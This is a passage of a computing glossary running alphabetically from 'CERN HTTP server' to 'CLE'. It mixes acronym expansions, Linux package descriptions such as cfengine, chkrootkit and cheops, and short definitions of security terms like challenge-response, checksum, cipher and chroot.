The CERN HTTP (World-Wide Web) server The CERN HTTP daemon allows you to run an HTTP (Hypertext Transfer Protocol) server on your computer. HTTP is the main transport protocol used in the World Wide Web. Unless you wish only to serve files to users of your system, you must be hooked up to a TCP/IP network. This HTTP server is fairly outdated, and no longer maintained upstream. It does serve as a fairly nice local server, though. CERN ACKNOWLEDGMENT: This product includes computer software created and made available by CERN. This acknowledgment shall be mentioned in full in any product which includes the CERN computer software included herein or parts thereof. 
CERT
Computer Emergency Response Team (DARPA, CMU, Internet) 
Certificate Authority
An issuer of Security Certificates used in SSL connections. 
cervisia
KDE based CVS frontend Cervisia is a graphical frontend for the CVS client. It provides access to the following features: * Updating or retrieving the status of a working directory or single files. * Files are displayed in different colors depending on their status, and the shown files can be filtered according to their status. * Common operations like adding, removing and commiting files. * Advanced operations like adding and removing watches, editing and unediting files, locking and unlocking. * Checking out and importing modules. * Graphical diff against the repository and between different revisions. * Blame-annotated view of a file. * View of the log messages in tree and list form. * Resolving of conflicts in a file. * Tagging and branching. * Updating to a tag, branch or date. * A Changelog editor coupled with the commit dialog. 
CES
C-bit Errored Seconds (DS3/E3) 
CES
Character Encoding Scheme (CSS, Unicode) 
CES
Circuit Emulation Service 
CES
Consumer Electronics Show (fair, USA) 
CESAR
Central Employment Search And Retrieval (WWW) 
CET
Central European Time [+0100] (TZ, MET) 
CET
Centro de Estudes de Telecomunicoes (org., Portugal) 
CF
Carry Flag (assembler) 
CF
Compact Flash [card] 
CFA
Center for Architecture (org., JIEO, DISA) 
CFA
Code Fiels Address (Forth) 
CFB
Cipher FeedBack [mode] (cryptography, DES) 
CFD
Call For Discussion (Internet) 
CFD
Computational Fluid Dynamics [applications] 
cfdisk
Curses based disk partition table manipulator for Linux 
cfdisk-utf8
A small UTF8 capable version of cfdisk This package contains the cfdisk program linked against the UTF8 libraries. Do not install it unless you really need a fdisk programs which needs to handle with UTF8, or unless you need if for a small Linux root filesystem like this on the boot-floppies. 
CFE
Center for Engineering (org., JIEO, DISA) 
cfe
Console Font Editor cfe is a console font editor which works well both on the console and the terminal. It includes such abilities as various glyph transforming, multi-level undo, and comparing the glyphs of two fonts. cfe automatically supports loading of .psf and raw binary fonts. Other types of fonts can be opened using the proper options. 
cfengine
Tool for configuring and maintaining network machines The main purpose of cfengine is to allow the system administrator to create a single central file which will define how every host on a network should be configured. cfengine is also useful as an interpreter for a general scripting language for ordinary users. It is handy for tidying up junk files and for maintaining `watchdog' scripts to manage access rights and permissions on files when collaborating with other users. It takes a while to set up cfengine for a network (especially an already existing network), but once that is done you will wonder how you ever lived without it! 
CFF
Compact Font Format (Adobe) 
CFI
CAD Framework Initiative (org., CAD) 
cfi
Copyright does not exist, book about hacker culture. Copyright does not exist: Book about hacker culture, folklore and history by Linus Walleij. This is a translation from the original Swedish text. In HTML format. 
cfingerd
Configurable finger daemon This is a free replacement for standard finger daemons such as GNU fingerd and MIT fingerd. Cfingerd can enable/disable finger service to individual users, rather than to all users on a given host. Cfingerd is able to respond to a finger request to a specified user by running a shell script (e.g., finger doorbell@mysite.mydomain might cause a sound file to be sent) rather than just a plain text file. 
cfitsio2
Shared library for I/O with FITS format data files FITS (Flexible Image Transport System) is a data format most used in astronomy. cfitsio is a library of ANSI C routines for reading and writing FITS format data files. A set of Fortran-callable wrapper routines are also included for the convenience of Fortran programmers. This package contains what you need to run programs that use this library. 
cflow
C function call hierarchy analyzer The cflow command reads the given program source and attempts to print a graph of the program's function call hierarchy to the standard output. 
cflow
print a function call hierarchy 
CFM
ConFiguration Management (FDDI, SMT) 
CFMC
Committee to Fight Microsoft Corporation (org., MS) 
CFML
Cold Fusion Markup Language 
CFP
Call For Papers 
CFS
Center for Standards (org., JIEO, DISA) 
CFS
Cryptographic FileSystem (Linux, cryptography) 
cfs
Cryptographic Filesystem CFS pushes encryption services into the Unix(tm) file system. It supports secure storage at the system level through a standard Unix file system interface to encrypted files. Users associate a cryptographic key with the directories they wish to protect. Files in these directories (as well as their pathname components) are transparently encrypted and decrypted with the specified key without further user intervention. CFS employs a novel combination of DES stream and codebook cipher modes to provide high security with good performance on a modern workstation. CFS can use any available file system for its underlying storage without modification, including remote file servers such as NFS. 
cftp
A full-screen ftp client. Cftp is an ftp client where you just use the arrow keys to move around and get what you want. 
CFV
Call For Vote (Internet, Usenet), "CfV" 
cfv
tests and creates .sfv, .csv and md5 files cfv is a utility to both test and create .sfv (Simple File Verify) .csv, and md5sum files. These files are commonly used to ensure the correct retrieval or storage of data. 
CGA
Colour Graphics Adapter 
CGA
Graphics Communications Association (org.) 
CGARI
Graphics Communications Association Research Institute (org., CGA) 
CGDC
Computer (???) Game Developers' Conference 
CGI
Common Gateway Interface (WWW) 
CGI
Computer Generated Imagery 
CGI
Computer Graphics Interface 
CGI
Computer Graphics International (conference) 
CGI (Common Gateway Interface)
An interface between a Web site and a user. It allows forms, surveys and other documents to be filled on-line and the results automatically sent to the web site's UNIX server. From Glossary of Distance Education and Internet Terminology
CGI (Common Gateway Interface)
Used on Web servers to transmit data between scripts and/or applications and then return the data to the Web page or browser. CGI scripts are often created using the Perl language, and can generate dynamic Web content (including e-commerce shopping baskets, discussion groups, survey forms, current news, etc.). 
cgi-bin
The most common name of a directory on a web server in which CGIprograms are stored. 
cgiemail
CGI Form-to-Mail converter cgiemail is a flexible CGI-based tool that will allow non-programmers to create forms to be emailed. Note that it's no longer actively maintained upstream and has a history of security problems, so you may wish to use another package, such as mailto. 
cgilib
Simple CGI Library This library provides a simple programming API to the Common Gateway Interface (CGI). It features HTTP Redirect, provides read access to FORM variables, sets HTTP Cookies and reads them. 
cgiwrap
allows ordinary users to run their own CGI scripts a gateway that allows more secure user access to CGI programs on an HTTPd server than is provided by the http server itself. The primary function of CGIwrap is to make certain that any CGI script runs with the permissions of the user who installed it, and not those of the server. 
CGM
Computer Graphics Metafile (ISO 8632) 
CGMS
Copy Generation Management System (CD) 
cgoban
Complete Go board Cgoban (Complete Goban) is a computerized board on which you can play the game of Go against another player, view and edit smart-go files, and connect to Go servers on the Internet. It can also interface with computer Go programs that speak Go modem protocol. You will need some sort of image converter if you wish to use the utility provided to capture "screen shots" of a cgoban game. 
CGRM
Computer Graphics Reference Model (ISO, IEC, ISO/IEC 11072) 
CGVDI
Computer Graphic Virtual Device Interface, "CG-VDI" 
cgvg
command-line source browsing tool. cgvg is a pair of Perl scripts ("cg" and "vg") which are meant to assist a programmer in doing command-line source browsing. The idea is you can easily search for keywords in the code, and jump to the file and line where a match is found. Used with ctags(1), this can really help with jumping around and following code. Some features include a human-readable output, coloring, bolding (and alternate bolding), and just sheer convenience for a programmer. cgvg uses the Perl internal find and does it's own searching, rather than being a wrapper for UNIX find(1) and grep(1). There is a ~/.cgvgrc file for per-user configuration, and some nice features like coloring, and multiple log files. 
chage
change user password expiry information 
CHAID
CHisquard Automatic Interaction Detector / Detection (SPSS) 
ChainSaw Linux
ChainSaw Linux had video production, but as of May 4, 2002, the original Editing Edition is seen as "the ultimate goal for ChainSaw Linux." A 'special purpose/mini' distribution. 
challenge (challenge-response)
A method to authenticate users that avoids sending passwords over the network. It goes something like this (though the details among various programs are different). the client requests access the server sends back random data the client then encrypts/hashes the data using the password the server checks the result In this manner, the client proves it knows the correct password without ever sending it across the wire. Key point: In most cases the user is prompted for the password, which the client then stores in memory. In the use of smart cards, however, the system may give the user the challenge string, which the user then types into the smart card. The smart card then produces a response, which the user must type back into the system. In this way, the user validates that they have the smart card. Key point: Challenge-response systems are thought to be more secure because the challenge/response is different every time. This guards against replay attacks as well as making cracking more difficult. 
chameleon
Application for putting pictures or color in the root window Using GTK and Imlib, Chameleon allows the use to place a picture in any format or a color chosen from a color wheel in the root window of X (the background). It also can be run from the command line w/o using the GTK interface. 
change-control
An important security practice where changes to the systems are reviewed ahead of time to validate they are appropriate, then recorded in order to "roll back" in case they introduce a fault. A common use for change-control is validating that a firewall's ruleset doesn't degrade. Change-control is also used for maintaining system patches. 
changeaudiocddev
change the /dev/cdrom link 
ChangeLog file
A specially formatted list containing a history of all changes ever done to the package, by whom, and on what date. Used to track work on the package. 
changetrack
Monitor (and recover from) changes to configuration files A program to monitor changes to a set of files. If files are modified one day, and the machine starts working incorrectly some days later, changetrack can provide information on which files were modified, and help locate the problem. Changetrack will also allow recovery of the files from any stage using RCS. 
chaos
Replacement of Gnus with gnus-mime for SEMI. Chaos is the latest branch of normally Semi-gnus. Semi-gnus is a replacement of Gnus with gnus-mime for SEMI. It has all features of Gnus and gnus-mime, so there are no need to install Gnus to use it, and you must not use gnus-mime for SEMI. It requires SEMI package, so please get and install SEMI package before to install it. Chaos is one of Semi-gnus variants. Now, "Semi-gnus" is generic name of Gnus for SEMI. 
CHAP
Challenge-Handshake Authentication Protocol - used to verify a user's name and password for PPP Internet connections. It is more secure than the other main authentication protocol (PAP).
CHAP
[PPP] Challenge Handshake Authentication Protocol (PPP, RFC 1334/1994) 
character
An object, such as a symbol, that is comprised of one byte of computer storage. 
character device
System component or peripheral (such as an Ethernet card or printer) that is accessed without buffer cache memory. 
charset
Set an ACM for use in one of the G0/G1 charset slots. 
chase
Follow a symlink and print out its target file Chase is a small utility for tracking down the actual file that a symbolic link points to - chasing the symlink, if you will. The result of a successful run is guaranteed to be an existing file which is not a symbolic link. 
chasen
a Japanese Morphological Analysis System ChaSen is a morphological analysys system. It can segment and tokenize Japanese text string, and can output with many additional informations (pronunciation, semantic information, and others). It will print the result of such an operation to the standard output, so that it can either written to a file or further processed. 
chastity-list
blacklists for SquidGuard squidGuard is a free (GPL), flexible and ultra fast filter, redirector and access controller plugin for squid. It lets you define multiple access rules with different restrictions for different user groups on a squid cache. squidGuard uses squid's standard redirector interface. This package contains blacklists provided by the Chastity project. Chastity intends to make a maintained ACL-list for squid for use in public schools and other organizations. The projects is divided into a web-based adminstration tool, datastorage and client-tools. 
chat
Online, realtime chatting is one of the more popular features of the Internet. There are many popular systems. Among the hacking community, services like IRC and ICQ are popular. Some popular commercial services include Yahoo messenger, AOL Instant Messenger (AIM), and Microsoft Messenger. Key point: Favorite because it provides real-time anonymous communication. 
chattr
change file attributes on a Linux second extended file system 
chbg
A tool for changing the desktop background image in X11 A GTK+ based program that lets you periodically change your X desktop. It has several random effects, a slideshow, and and may act as a xscreensaver hack or as a standalone screensaver. 
chbg
ChBg is for changing desktop backgrounds in a given period. It can render images with 10 modes (such as tiled, centered, scaled, etc.). It uses Imlib1, Imlib2, or gdk_pixbuf for loading images, so it supports many image formats. This version uses gdk-pixbuf. ChBg has a windowed setup program, is able to load setup files, can be used as slideshow picture previewer in its own window or as adesktop background, and can be used as screensaver or as an xscreensaverhack. It has a dialog for fast previewing of pictures and very usablethumbnail previews. 
CHCP
CHange Code Page (DOS) 
CHDL
Computer Hardware Description Language (HDL) 
chdrvfont
Kuo Chiao 16x16 font for CHDRV Chinese console terminal This package contains the Kuo Chiao 16x16 Chinese bitmap font and the corresponding 8x16 ASCII font files (kcchin16.f00 and kctext16.f00) for the CHDRV Chinese console terminal for Linux. These fonts were part of the Kuo Chiao Chinese System generously donated to the Taiwan Academic Network (TANet). To the best of my knowledge, these fonts have since been widely distributed all over the world and are now in the public domain. 
check
A unit test framework for C Check features a simple interface for defining unit tests, putting little in the way of the developer. Tests are run in a separate address space, so Check can catch both assertion failures and code errors that cause segmentation faults or other signals. The output from unit tests can be used within source code editors and IDEs. 
checkbot
a WWW link verifier Checkbot is a perl5 script which can verify links within a region of the World Wide Web. It checks all pages within an identified region, and all links within that region. After checking all links within the region, it will also check all links which point outside of the region, and then stop. 
checkmp3
identify MP3s that do not follow the MP3 format mp3_check helps to identify in explicit detail MP3s that do not correctly follow the MP3 format. It also looks for invalid frame headers, missing frames, etc., and generates useful statistics. This can be useful when building a high-quality mp3 archive... 
checksecurity
check for changes to setuid programs 
checkservice
Checks the status of services on (remote) hosts Checkservice is a simple and fast service checking perl script. It is able to show the results in many ways: by keeping logs, showing it on the PHP status page, output that MRTG can use or warning(plugins) if something is wrong. Checkservice features grouping of hosts, very easy configuration and thorough service checking using checkplugins. 
checksum
A number computed by adding together all the characters from an entire file in a special mathematical way. It is useful for ensuring a file has been transferred correctly. 
checksum
A technique for detecting if data inadvertently changes during transmission. The sender simply divides all the data up into two-character numbers, then adds all the numbers together. The receiver makes the same calculation, and checks the calculated checksum with the transmitted checksum. If they don't match, then the receiver knows the data was corrupted in transit. Key point: Checksums are not secure against intentional changes by hackers. For that, you need a cryptographic hash. 
Checksum
An acronym for SUMmation CHECK. In data communications, an error-checking technique in which the number of bits in a unit of data is summed, transmitted along with the data, and checked by the receiving computer. If the sum differs, an error probably occurred in transmission and the transmission is repeated. A commonly used personal computer communications protocol called XMODEM uses the checksum technique. In some virus scanning and file integrity software checksums are calculted for every file in a directory and the results are stoed in the directory. When the program is scanningm it compares the checksum information stored in the directory with the current checksum for each scanned file. A difference in the sum may indicate that the file has been infected by a virus that doesn't leave a recognised signature. 
cheesetracker
Sound Module Tracking Program (IT - Impulse Tracker Clone) This program is used to create what is called 'Sound Modules', files containing samples of, for instance, piano's and guitars, and a couple of play-patterns with notes, durations and effects. If these patterns are sequenced, a melody will play according to the notes and instruments you set in the pattern. This program is a direct clone of the MSDOS program called Impulse Tracker. It's not hard to learn, and very funny to play around with. This version is only capable of loading .IT type files (the original Impulse Tracker format). To start and find some cool pre-made tunes go to ftp://ftp.scene.org/pub/music/. 
chemtool
GTK-based chemical structures drawing program Chemtool is a GTK+ based 2D chemical structure editor for X11. It supports many bond styles, most forms of text needed for chemical typesetting and splines/arcs/curved arrows. Drawings can be exported to MOL and PDB format, SVG or XFig format for further annotation, as a PiCTeX drawing, as a bitmap or as Postscript files (several of these through XFig's companion program transfig). The package also contains a helper program, cht, to calculate sum formula and (exact) molecular weight from a chemtool drawing file. Cht can either be called directly by Chemtool or on the console. 
cheops
Network swiss army knife Cheops is a combination of a variety of network tools to provide system adminstrators and users with a simple interface to managing and accessing their networks. Cheops aims to do for the network what the file manager did for the filesystem. Additionally, cheops has taken on the role of a network management system, in the same category as one might put HP Openview. 
CHEST
Computers in Higher Education Software Team (org., UK) 
Chew
A component of network lag, chew is the percentage of packets that are 'eaten' by the network connection. Ideally no packets should be lost, but the Internet is often anything but ideal. 
chfn
change user name and information 
chgrp
Changes the group ownership of each given file to group, which can be either a group name or a numeric group ID. 
chicken
A simple Scheme-to-C compiler Why CHICKEN? - R5RS support. - SRFIs 0, 1, 2, 4, 6, 7, 8, 9, 10, 13, 14, 16, 18, 22 and 23 - Syntax-case highlevel macros - Lightweight threads based on first-class continuations - Pattern matching with Andrew Wright's match package - Record structures - A simple and straightforward module system - An object system with multiple inheritance, multimethods and a meta-object protocol - Separated compilation poses no problem and full tail-recursion and first-class continuations are suported. - Extended comment- and string-literal syntaxes - Libraries for regular expressions, string handling, Common LISP style format, UNIX system calls and extended data structures - Create interpreted or compiled shell scripts written in Scheme - Compiled C files can be easily distributed - Generates quite portable C code and compiled files generated by it (including itself) should work without any change on DOS, Windows, most UNIX-like platforms, and with minor changes on other systems. - Linkage to C modules and C library functions is straightforward. Compiled programs can easily be embedded into existing C code. - Simple. It can be used as a pedagogical tool for anybody who is interested in the workings of a compiler. - Extendable, since its code generation scheme, runtime system, and garbage collector fit neatly into a C environment. - Offers better performance than nearly all interpreter based implementations, but still provides full Scheme semantics. - Probably is the first implementation of Scheme that uses Henry Baker's [Cheney on the M.T.A] concept. Usually, you will also need to install the chicken-dev package. The source files are not included since you could easily get them with the Debian source package. If you really feel the needs to get them under /usr/share/chicken/src, then please let me know. There are many Scheme implementations available in Debian, have a look at each of them! Have fun! 
child process
A process created by another process (the parent process). Each process may create many child processes but will have only one parent process, except for the very first process which has no parent. The first process, called init in Linux, is started by the kernel at boot time and never terminates. 
chilight
highlight a C source file 
CHILL
CCITT HIgh Level programming Language (CCITT) 
chill
The GNU CHILL compiler. This is the ITU CHILL compiler. CHILL is the "CCITT High-Level Language", where CCITT is the old name for what is now ITU, the International Telecommunications Union. It is a language in the Modula-2 family, and targets many of the same applications as Ada (especially large embedded systems). CHILL was never used much in the United States, but is still being used in Europe, Brazil, Korea, and other places. This is a dependency package providing the default GNU CHILL compiler for Debian GNU/Linux systems (version 2.95.4 for architecture i386). 
chimera2
Web browser for X Simple, fast, free web browser. This is an alpha-test version; some of the rendering routines are buggy. 
Chinese 2000 Linux
Chinese 2000 Linux comes from Hong Kong. 
Chinese Linux Extension
CLE is still there, mostly in Chinese, last update November 9, 2001. 
chipmunk
a circuit schematic capture tool and simulation environment. A circuit schematic capture tool and simulation environment. Log is a large circuit editing and simulation system. It has facilities for digital simulation (the original LOG), analog simulation (AnaLOG), network generation (LOGNTK), and plotting (LPLOT). Log is the most popular Chipmunk tool. This package contains analog, diglog and loged. For more information, please see the docs contained in log-doc package. Log needs the p-system emulation runtime libraries for Chipmunk tools to work, which are included in psys packages. 
chkconfig
Chkconfig is a basic system utility. It updates and queries runlevelinformation for system services. Chkconfig manipulates the numerous symbolic links in /etc/rc*.d, to relieve system administrators of some of the drudgery of manually editing the symbolic links. 
chkdupexe
find duplicate executables 
chkfontpath
This is a simple terminal mode program for configuring the directories in the X font server's path. It is mostly intended to be used internally by RPM when packages with fonts are added or removed, butit may be useful as a standalone utility in some instances. 
chkfontpath
This is a simple terminal mode program for configuring the directories in the X font server's path. It is mostly intended to be used `internally' by RPM when packages with fonts are added or removed, butit may be useful as a stand-alone utility in some instances. 
chkmail
check for new mail 
chkrootkit
Checks for signs of rootkits on the local system chkrootkit identifies whether the target computer is infected with a rootkit. Some of the rootkits that chkrootkit identifies are: 1. lrk3, lrk4, lrk5, lrk6 (and some variants); 2. Solaris rootkit; 3. FreeBSD rootkit; 4. t0rn (including latest variant); 5. Ambient's Rootkit for Linux (ARK); 6. Ramen Worm; 7. rh[67]-shaper; 8. RSHA; 9. Romanian rootkit; 10. RK17; 11. Lion Worm; 12. Adore Worm. Please note that this is not a definitive test, it does not ensure that the target has not been cracked. In addition to running chkrootkit, one should perform more specific tests. 
chktex
Finds typographic errors in LaTeX * Supports over 40 warnings. * Supports ``\input'' command; both TeX and LaTeX version. Actually includes the files. ``TEXINPUTS''-equivalent search path. * Intelligent warning/error handling. The user may promote/mute warnings to suit his preferences. You may also mute warnings in the header of a file; thus killing much unwanted garbage. * Supports both LaTeX 2.09 and LaTeX2e. * Flexible output handling. Has some predefined formats and lets the user specify his own format. Uses a ``printf()'' similar syntax. ``lacheck'' compatible mode included for interfacing with the AUC-TeX Emacs mode. 
chktri
check for trigraphs in C source code 
chmod
changes the permissions for a file; permissions should include a letter designating who gets permissions (u for the user, g for the group, o for others, or a for all) followed by a + or - (to give or take away the permission) followed by the kind of permission (r for read access, w for write access, x for execute if the file is a program or script). 
chording
The simultaneous pressing of two or more buttons or keys on an input device such as a keyboard or mouse that produces one set action. 
chos
Easy Boot loader with a Boot-Menu Easy to use Boot-Loader for Linux / DOS / other Operating systems. It works like lilo but offers a simple menu on boot. No strange prompt anymore! Background images and more! Includes X interface to configure the boot screen and all parameters 
chown
changes the user and/or group ownership of each given file as specified by the first non-option argument as follows. 
chpasswd
update password file in batch 
chpp
A powerful and simple preprocessor CHPP is a powerful preprocessor originally designed for, but not limited to, HTML. CHPP combines features of CPP, M4, Perl and Scheme. Among the features of CHPP are - CHPP is non-intrusive, i.e. you can take already existing text and just pipe it through CHPP and it is likely it won't change. - User-defined macros, which can be recursive - Complex data structures (lists and hashes) - Powerful looping constructs - Regular expression matching - Support for CGI scripting - An interface to SQL-Servers (at the moment mSQL and MySQL). 
chromium
Slick scrolling space shooter Chromium is a top down fast paced high action scrolling space shooter using sdl libs. 
chromium
You are captain of the cargo ship Chromium B.S.U., responsible for delivering supplies to our troops on the front line. Your ship has a small fleet of robotic fighters which you control from the relative safety of the Chromium vessel.- Do not let ANY enemy ships get past your fighters! Each enemyship that makes it past the bottom of the screen will attackthe Chromium, and you lose a fighter.- Use your fighters as weapons! Crash into enemies to destroy thembefore they can get past you.- Strategic suicide is a powerful tactic! When the Chromium launches a new fighter, it releases a high energy burst which destroys all enemies in range.- Self-destruct to preserve your ammunition! A double-right-click will cause your current fighter to self-destruct. Before theship blows up, it ejects its ammunition so that the next fighter can pick it up. 
chrony
It sets your computer's clock from time servers on the Net. It consists of a pair of programs : `chronyd'. This is a daemon which runs in background on the system. It obtains measurements (e.g. via the network) of the system's offset relative to other systems, and adjusts the system time accordingly. For isolated systems, the user can periodically enter the correct time by hand (using `chronyc'). In either case, `chronyd' determines the rate at which the computer gains or loses time, and compensates for this. `chronyc'. This is a command-line driven control and monitoring program. An administrator can use this to fine-tune various parameters within the daemon, add or delete servers etc whilst the daemon is running. 
chroot
Makes the root directory (/) become something other than its default for the lifetime of the current process. It can only be run by privileged users and is used to give a process (commonly a network server such as FTP or HTTP) access to a restricted portion of the file system. 
chroot (jail)
A UNIX feature that creates a limited sandbox allowing a process to view only a single subtree of the filesystem. The jail call in BSD is a more advanced version for creating the same sort of sandbox. Point: In order for it to work properly, some common programs and libraries (e.g. /bin/sh, /usr/lib/libc.so.1, ...) need to be copied/linked to the appropriate locations in the new directory tree. Key point: A process running with root access can break out of a chrooted environment. Therefore, it should be used in conjunction with setuid. 
CHRP
Common Hardware Reference Platform (AIM) 
chrpath
Tool to edit the rpath in ELF binaries rpath allows you to change the rpath (where the application looks for libraries) in an application. It does not (yet) allow you to add an rpath if there isn't one already. 
CHS
Cylinder Head Sectors 
CHS
stands for Cylinder/Head/Sector. 
CHS (Cylinder/Head/Sector)
Disk information required by FDISK during partitioning. 
chsh
change login shell 
CHSM
C Hardware Specific Module (NEST, MLID, Novell) 
CHV
Card Holder Value [aka PIN] (ICC, PIN) 
chvt
change foreground virtual terminal 
CI
Check In (RCS) 
ci
check in RCS revisions 
CI
Coded Information 
CI
Component Interface (DMI) 
CI
Configuration Item (CM) 
CI
Congestion Indicator 
CIAC
Computer Incident Advisory Capability (org., LLNL, Internet) 
CIB
Computer Integrated Business 
CIC
Carrier Identification Code 
CIC
Coordination and Information Center (CSNET) 
CICA
Center of Innovative Computer Applications (org.) 
CICS
Customer Information Control System (IBM, CICS) 
CICSESA
Customer Information Control System/Enterprise Systems Architecture (IBM, CICS), "CICS/ESA" 
CICSTS
Customer Information Control System / Transaction Server (IBM, VSE/ESA), "CICS/TS" 
CICSVS
Customer Information Control System / Virtual Storage (IBM, CICS), "CICS/VS" 
CID
Configuration - Installation - Distribution (IBM) 
CIDF
Common Intrusion Detection Framework (CIDF, IDS) 
CIDR
Classless Internet DOMAIN Routing [protocol] (RFC 1519) 
CIE
Commission Internationale de l'Eclairage (org.) 
CIFS
Common Internet File System (TCP/IP) 
CIFS
Common Internet File System: a protocol that defines a standard for remote file access using millions of computers at a time. 
cil
Chess In Lisp. A library for cmucl. This library is mainly intended as an example file. Not much useful stuff can be done yet. 
CIL
Computer Integration Laboratories (org., Apple, IBM, Novell, Sun, ...) 
CILABS
Component Integration LABoratorieS (org.,, OpenDoc, Apple, IBM, Adobe, ...), CILabs 
CIM
Cisco Interactive Mentor (Cisco) 
CIM
Common Information Model (DMTF, XML, DMI) 
CIM
Computer Integrated Manufacturing 
cim
GNU Simula compiler GNU Cim is a compiler for the programming language Simula (except unspecified parameters to formal or virtual procedures (see the documentation for how portable code for formal procedures can be written)). It offers a class concept, separate compilation with full type checking, interface to external C routines, an application package for process simulation and a coroutine concept. The portability of the GNU Simula Compiler is based on the C programming language. The compiler and the run-time system is written in C, and the compiler produces C code, that is passed to a C compiler for further processing towards machine code. 
CIMOM
CIM Object Model (CIM) 
CIMOS
CIncinnati Milacron Operating System (OS), "CiMOS" 
CIO
Cisco Information Online (Cisco, WWW) 
CIP
Carrier Identification Parameter 
CIP
Classical IP over ATM (IP, ATM, IETF) 
CIP
Computer Integrated Processing 
CIP
Computer-Investitions-Programm 
CIPA
Children's Internet Protection Act (Internet, USA, COPA) 
cipher (decipher)
In cryptography, the word cipher means an encryption algorithm. A cipher transforms the original data/message into pseudo-random data/message of the same length. In order to decipher the message, a reverse transformation must be applied. Key point: A block cipher is one that encrypts a block of data at a time. For example, DES uses a block size of 64-bits. Each input block must correspond to exactly one output block (like a codebook). A block-cipher suffers from the fact the same data repeated in a message would be encoded in the same way. Consider a block size of 8-bit encrypting English text; you could therefore figure out all the letter 'e's in the cipher text because they are the most common letter used. Therefore, block-ciphers are often used in a chaining mode such that the same pattern will indeed be decrypted differently. Key point: A stream cipher is essentially a chained block cipher with a block size of 1 (either 1-bit or 1-byte). It generates a keystream against which it XORs the plaintext, operating much like a one-time pad, though less secure in theory but more secure in practice. Example: Some popular ciphers are: DES The original widely-used computer-based encryption cipher that spawned the industry, but easily crackable today. triple DES A more secure form of DES whereby data is simply encrypted three different times. RC4 One of the most widely used ciphers today because of its prevalent use within web browsers and SSL. RC2 A cipher similar to RC4. IDEA Gained popularity because it was used as the default cipher for PGP. Blowfish Popular cipher because of its open source and non-patented status. CAST-128 Alternate cipher in PGP. Skipjack Controversal cipher designed for the Clipper chip, a government program to encourage key recovery for law enforcement. GOST 28147 Russian standard with 256-bit key. AES The new American standard for replacing DES. 
ciphertext
In cryptography, ciphertext describes the data after it has been encrypted. Contrast: clear-text, plaintext. 
CIR
Committed Information Rate (ATM) 
CIRC
Cross Interleaved Reed-solomon Code (CD) 
CIRCIT
Centre for International Research on Communication and Information Technology (org., Australia) 
Circle MUDLinux
MUDLinux is minidistribution of Linux containing a running Circle MUDServer. A 'special purpose/mini' distribution. 
circlepack
creation and display of circle packings CirclePack is a C program for the creation, display, manipulation, and storage of circle packings using the X Window System. Computations may be done in either hyperbolic, Euclidean, or spherical geometry, though the routines for the latter are not yet complete. For the theory behind the package, one must consult the research literature. One of the author's primary interests concerns the parallels between the developing theory of circle packings and the classical theory of analytic functions. Home page: http://www.math.utk.edu/~kens/ 
circuslinux
The clowns are trying to pop balloons to score points! "Circus Linux!" is based on the Atari 2600 game "Circus Atari" by Atari, released in 1980. Gameplay is similar to "Breakout" and "Arkanoid" - you slide a device left and right to bounce objects into the air which destroy a wall. 
CIS
Card Information Structure / Space (PCMCIA) 
CIS
Command Information System (mil., USA) 
CIS
Compuserve Information Systems (network) 
CIS
Contact Image Sensor 
CISC
Complex Instruction Set Computer (CPU) 
CISE
Computer and Information Science Directorate (org., NSF) 
CISKA
[3D] Campus-InformationsSystem KArlsruhe (Uni Karlsruhe, Germany, VRML) 
CISPR
Comite International Special des Perturbations Radioelectriques (org.) 
CISS
Center for Information Systems Security (org., JIEO, DISA, mil., USA) 
CIT
Computer Integrated Telephony 
CIT
Computer Intergrated Tooling 
CITED
Copyright In Transmitted Electronic Documents (ESPRIT) 
CIU
??? [switch] (IBM) 
CIVIC
Cyclone Integrated Video Interfaces Controller (Apple) 
CIX
Commercial Internet eXchange (ISP) 
cjk-latex
A LaTeX macro package for CJK (Chinese/Japanese/Korean) CJK is a macro package for LaTeX to enable typesetting Chinese, Japanese, and Korean. It supports (even simultaneously) various CJK encodings, e.g. Big5, GB, JIS, KS, CNS. Please also install: * freetype1-tools to use TrueType fonts with CJK (ttf2pk and ttf2tfm). * tfm-arphic-* for DFSG-free Chinese TrueType fonts donated by Arphic. tfm-arphic-bsmi00lp and tfm-arphic-bkai00mp for Big5 Ming and Kai fonts; tfm-arphic-gbsn00lp and tfm-arphic-gkai00mp for GB Sung and Kai fonts. Main Author: Werner Lemberg <wl@gnu.org> 
cksfv
sfv checker and generator SFV, Simple File Verification, uses crc32 checksums to verify that files are intact. cksfv automates the task of generating and checking .sfv sheets. For integrity, md5 checksums are probably a better alternative, but sfv is a widely used method for verification on the USENET binary newsgroups and other places. 
cksum
checksum and count the bytes in a file 
CL
Column Address Strobe Latency (CAS) 
CL
ConnectionLess (CO) 
CL
Control Language (IBM, OS/400) 
clanbomber
Bomberman like game Blow up your friends and avoid being blown up yourself. Features include: * Nice graphics and sound * Powerups * Up to 8 players * Computer controlled players 
clanlib
Core runtime libraries for the ClanLib game SDK ClanLib delivers a platform independent interface to write games with. If a game is written with ClanLib, it should be possible to compile the game under any platform (supported by ClanLib, that is) without changing the application source code. But ClanLib is not just a wrapper library, providing an common interface to low-level libraries such as DirectFB, DirectX, OpenGL, X11, etc. While platform independence is ClanLib's primary goal, it also tries to be a service-minded game sdk. In other words, we have put great effort in to designing the API, to ensure ClanLib's easy of use - while maintaining it's power. This package provides the core clanlib libraries (layer1, layer2, etc). 
clara
Free OCR program for Unix Systems Clara OCR is a free (GPL) OCR for systems that support the C library and the X window system (e.g. most flavours of Unix). Clara OCR is intended for large scale digitalization projects. It features a powerful GUI and a web interface for cooperative digitalization of books. 
ClarkConnect
ClarkConnect is a Red Hat based distribution which can can transform standard PC hardware into a dedicated broadband gateway and easy-to-use server. The software is a great solution for small businesses, home offices, and networked homes. ClarkConnect version 1.1 was released July 31, 2002. 
CLASS
Centralized Local Area Selective Signaling 
CLASS
Custom Local Area Signaling Service 
Classic C
/klas'ik C/ n. [a play on `Coke Classic'] The C programming language as defined in the first edition of K&R, with some small additions. It is also known as `K&R C'. The name came into use while C was being standardized by the ANSI X3J11 committee. Also `C Classic'. An analogous construction is sometimes applied elsewhere: thus, `X Classic', where X = Star Trek (referring to the original TV series) or X = PC (referring to IBM's ISA-bus machines as opposed to the PS/2 series). This construction is especially used of product series in which the newer versions are considered serious losers relative to the older ones. 
clc-intercal
Compiler for the INTERCAL language This package provides a Perl-based compiler for the INTERCAL programming language, usable either from the command line or as a Perl module. CLC-INTERCAL is designed to be almost compatible with the original (Princeton 1972) compiler. It also implements several extensions to the original language, including support for object orientation, operator overloading and quantum computing. The non-binary base extensions supported by the C-INTERCAL compiler are not yet implemented. 
CLDC
Connected Limited Device Configuration (KVM, CDC) 
CLE
